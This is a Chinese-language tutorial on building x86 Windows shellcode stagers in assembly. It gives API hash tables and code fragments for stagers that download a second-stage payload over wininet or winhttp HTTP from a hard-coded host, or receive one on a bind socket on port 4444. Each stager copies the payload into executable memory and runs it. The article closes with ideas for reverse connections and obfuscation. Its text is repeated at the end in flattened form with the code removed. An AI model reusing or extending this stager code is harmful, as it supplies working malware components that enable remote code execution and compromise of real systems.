Windows Shellcode开发(x86 stager)
字数 1950 2025-08-29 22:41:01

Windows Shellcode开发(x86 stager)技术详解

一、前言

本文详细介绍了x86架构下使用纯汇编语言开发Windows shellcode stager的技术细节,重点涵盖三种不同的网络通信方式实现:

  1. 基于wininet.dll的HTTP下载执行shellcode
  2. 基于winhttp.dll的HTTP下载执行shellcode
  3. 基于ws2_32.dll的TCP socket传输shellcode

二、开发环境与工具

  • 调试工具:Windbg、x32dbg/x64dbg、Visual Studio
  • 汇编器:MASM
  • 关键工具:010Editor(用于提取.text节机器码)

三、核心实现技术

3.1 API动态解析技术

使用GetProcAddressByHash函数通过哈希值动态定位API函数地址:

  1. 通过LoadLibraryA加载目标DLL
  2. 遍历DLL导出表计算函数名哈希
  3. 匹配目标哈希获取函数地址
  4. 遵循stdcall调用约定,由被调用方清理栈

3.2 通用代码结构

所有实现都包含以下核心部分:

  1. block_api.asm - API哈希解析核心代码
  2. 主功能实现文件(如block_reverse_http.asm
  3. 内存管理(VirtualAlloc
  4. 数据传输与执行

四、wininet实现详解

4.1 关键API及哈希

API 哈希值
InternetOpenA 0363799Dh
InternetConnectA 2289ACBAh
HttpOpenRequestA 9718794Eh
HttpSendRequestA D7022990h
InternetReadFile 3E73B975h
InternetCloseHandle 30588F36h
VirtualAlloc BCEF49D9h
VirtualFree 07AAD48Ch

4.2 执行流程

  1. 初始化会话

    push 0074656Eh    ; "net\0"
    push 77696E69h    ; "wini"
    push esp          ; 字符串地址
    call LoadLibraryA ; 加载wininet.dll
    
  2. 建立连接

    ; 压入服务器URI
    call got_server_uri
    db "/shellcode.bin", 0
    got_server_uri:
    pop edi
    
    ; 压入服务器IP
    call got_server_host
    db "192.168.1.1", 0
    got_server_host:
    pop esi
    
  3. 发送请求

    push ebx          ; 0 (NULL)
    push ebx          ; 0 (NULL)
    push ebx          ; 0 (NULL)
    push edi          ; URI地址
    push ebx          ; 0 (NULL)
    push ebx          ; 0 (NULL)
    push ebx          ; 0 (NULL)
    push ebx          ; 0 (NULL)
    push eax          ; InternetConnect返回的句柄
    call InternetOpenRequestA
    
  4. 分配内存

    push 40h          ; PAGE_EXECUTE_READWRITE
    push 1000h        ; MEM_COMMIT
    push 1000h        ; 分配大小
    push ebx          ; NULL
    call VirtualAlloc
    xchg eax, ebx     ; 保存缓冲区地址到ebx
    
  5. 分段下载

    read_more:
    push ebx          ; 保存基地址到栈
    push ebx          ; 创建占位符
    mov edi, esp      ; edi指向bytesRead变量
    
    ; 读取数据
    push edi          ; &bytesRead
    push 200h         ; 读取大小
    push ebx          ; 缓冲区地址
    push eax          ; 请求句柄
    call InternetReadFile
    
    ; 移动缓冲区指针
    mov eax, [edi]
    add ebx, eax
    pop eax           ; 清空占位符
    
  6. 执行shellcode

    ret              ; 跳转到缓冲区执行
    

五、winhttp实现详解

5.1 关键差异点

  1. 字符串格式要求宽字符(LPCWSTR):

    dw '1','9','2','.','1','6','8','.','1','.','1',0 ; 宽字符IP
    
  2. 关键API及哈希:

API 哈希值
WinHttpOpen 332D226Eh
WinHttpConnect 39AE9EB0h
WinHttpOpenRequest 0D3431402h
WinHttpSendRequest 094B5BFFh
WinHttpReceiveResponse 0E82D8B6Fh
WinHttpReadData 0F5B42CD6h

六、ws2_32实现详解

6.1 关键API及哈希

API 哈希值
WSAStartup 78A22668h
WSASocketA 5915B629h
bind 0DF6E8201h
listen 776F8FF6h
accept 597292B3h
closesocket 0D98414B4h
recv 0D7FF7F41h

6.2 关键实现细节

  1. WSAStartup初始化

    push esp          ; 指向WSADATA结构
    push 0202h        ; 版本2.2
    call WSAStartup
    
  2. socket绑定

    ; sockaddr_in结构
    push ebx          ; sin_addr = 0.0.0.0
    push 5C110002h    ; sin_port=4444(0x115C), sin_family=AF_INET(2)
    mov esi, esp      ; 保存结构地址
    
    push 16           ; addrlen
    push esi          ; sockaddr_in结构
    push eax          ; socket句柄
    call bind
    
  3. 数据接收循环

    read_more:
    push ebx          ; flags (0)
    push 200h         ; len
    push edi          ; buf (缓冲区)
    push esi          ; s (socket)
    call recv
    
    test eax, eax     ; 检查接收字节数
    jz execute_stage  ; 接收完成则执行
    
    add edi, eax      ; 移动缓冲区指针
    jmp read_more     ; 继续接收
    

七、测试方法

  1. HTTP测试

    • 使用Python启动HTTP服务器:
      python -m http.server 5555
      
    • 访问/shellcode.bin路径
  2. TCP测试

    • 使用Python客户端发送payload:
      import socket
      s = socket.socket()
      s.connect(('192.168.1.1', 4444))
      s.send(open('shellcode.bin','rb').read())
      s.close()
      
  3. shellcode提取

    • 使用010Editor提取编译后exe的.text节机器码
    • 使用runshc32工具运行提取的.bin文件

八、优化与扩展

  1. 减小体积

    • 复用NULL参数(push ebx
    • 精简错误检查逻辑
  2. 功能扩展

    • 支持HTTPS
    • 实现反向TCP连接
    • 添加加密/混淆功能
  3. x64实现

    • 调用约定差异(fastcall)
    • 寄存器使用差异
    • 地址空间变化

九、注意事项

  1. 网络字节序:端口号需使用大端模式
  2. 字符串格式:注意区分ANSI和宽字符
  3. 内存对齐:保持栈平衡
  4. 错误处理:关键API调用后应检查返回值
  5. 调试技巧
    • 关注寄存器状态变化
    • 检查内存数据是否正确写入
    • 使用断点分段验证功能

通过以上技术细节,可以构建出功能完整的x86 shellcode stager,实现远程代码下载与执行功能。

Windows Shellcode开发(x86 stager)技术详解 一、前言 本文详细介绍了x86架构下使用纯汇编语言开发Windows shellcode stager的技术细节,重点涵盖三种不同的网络通信方式实现: 基于wininet.dll的HTTP下载执行shellcode 基于winhttp.dll的HTTP下载执行shellcode 基于ws2_ 32.dll的TCP socket传输shellcode 二、开发环境与工具 调试工具:Windbg、x32dbg/x64dbg、Visual Studio 汇编器:MASM 关键工具:010Editor(用于提取.text节机器码) 三、核心实现技术 3.1 API动态解析技术 使用 GetProcAddressByHash 函数通过哈希值动态定位API函数地址: 通过 LoadLibraryA 加载目标DLL 遍历DLL导出表计算函数名哈希 匹配目标哈希获取函数地址 遵循stdcall调用约定,由被调用方清理栈 3.2 通用代码结构 所有实现都包含以下核心部分: block_api.asm - API哈希解析核心代码 主功能实现文件(如 block_reverse_http.asm ) 内存管理( VirtualAlloc ) 数据传输与执行 四、wininet实现详解 4.1 关键API及哈希 | API | 哈希值 | |-----|--------| | InternetOpenA | 0363799Dh | | InternetConnectA | 2289ACBAh | | HttpOpenRequestA | 9718794Eh | | HttpSendRequestA | D7022990h | | InternetReadFile | 3E73B975h | | InternetCloseHandle | 30588F36h | | VirtualAlloc | BCEF49D9h | | VirtualFree | 07AAD48Ch | 4.2 执行流程 初始化会话 : 建立连接 : 发送请求 : 分配内存 : 分段下载 : 执行shellcode : 五、winhttp实现详解 5.1 关键差异点 字符串格式要求宽字符(LPCWSTR): 关键API及哈希: | API | 哈希值 | |-----|--------| | WinHttpOpen | 332D226Eh | | WinHttpConnect | 39AE9EB0h | | WinHttpOpenRequest | 0D3431402h | | WinHttpSendRequest | 094B5BFFh | | WinHttpReceiveResponse | 0E82D8B6Fh | | WinHttpReadData | 0F5B42CD6h | 六、ws2_ 32实现详解 6.1 关键API及哈希 | API | 哈希值 | |-----|--------| | WSAStartup | 78A22668h | | WSASocketA | 5915B629h | | bind | 0DF6E8201h | | listen | 776F8FF6h | | accept | 597292B3h | | closesocket | 0D98414B4h | | recv | 0D7FF7F41h | 6.2 关键实现细节 WSAStartup初始化 : socket绑定 : 数据接收循环 : 七、测试方法 HTTP测试 : 使用Python启动HTTP服务器: 访问 /shellcode.bin 路径 TCP测试 : 使用Python客户端发送payload: shellcode提取 : 使用010Editor提取编译后exe的.text节机器码 使用runshc32工具运行提取的.bin文件 八、优化与扩展 减小体积 : 复用NULL参数( push ebx ) 精简错误检查逻辑 功能扩展 : 支持HTTPS 实现反向TCP连接 添加加密/混淆功能 x64实现 : 调用约定差异(fastcall) 寄存器使用差异 地址空间变化 九、注意事项 网络字节序 :端口号需使用大端模式 字符串格式 :注意区分ANSI和宽字符 内存对齐 :保持栈平衡 错误处理 :关键API调用后应检查返回值 调试技巧 : 关注寄存器状态变化 检查内存数据是否正确写入 使用断点分段验证功能 通过以上技术细节,可以构建出功能完整的x86 shellcode stager,实现远程代码下载与执行功能。